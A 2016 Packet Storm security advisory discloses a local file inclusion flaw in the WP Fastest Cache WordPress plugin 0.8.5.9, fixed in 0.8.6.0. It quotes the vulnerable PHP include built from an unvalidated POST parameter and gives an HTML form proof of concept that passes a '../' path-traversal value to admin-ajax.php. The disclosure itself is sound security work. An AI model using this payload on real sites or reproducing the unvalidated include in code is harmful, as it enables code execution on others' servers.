WordPress WP Fastest Cache 0.8.5.9 Local File Inclusion

2016-07-12T00:00:00
ID PACKETSTORM:137878
Type packetstorm
Reporter Yorick Koster
Modified 2016-07-12T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
WP Fastest Cache Member Local File Inclusion vulnerability  
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Yorick Koster, July 2016  
  
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Abstract  
------------------------------------------------------------------------  
It was discovered that the WP Fastest Cache WordPress plugin is  
vulnerable to Local File Inclusion. This issue can potentially be  
exploited to run arbitrary PHP code. In order to do so, the attacker  
must be able to place an arbitrary PHP file on the target system. The  
malicious file must have the .php extension.  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160712-0022  
  
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Tested versions  
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This issue was successfully tested on WP Fastest Cache WordPress Plugin  
version 0.8.5.9.  
  
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Fix  
------------------------------------------------------------------------  
This issue is resolved in WP Fastest Cache version 0.8.6.0.  
  
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Details  
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https://sumofpwn.nl/advisory/2016/wp_fastest_cache_member_local_file_inclusion_vulnerability.html  
  
The issue exists in the file wpFastestCache.php and is caused by the lack of input validation on the id POST parameter. The vulnerable code is listed below.  
  
public function wpfc_cdn_template_ajax_request_callback(){  
if(current_user_can('manage_options')){  
ob_start();  
include_once(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php");  
$content = ob_get_contents();  
ob_end_clean();  
  
[...]  
  
Proof of concept  
  
<html>  
<body>  
<form action="http://<target>/wp-admin/admin-ajax.php" method="POST">  
<input type="hidden" name="action" value="wpfc_cdn_template_ajax_request" />  
<input type="hidden" name="id" value="../exclude" />  
<input type="submit" />  
</form>  
</body>  
</html>  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
`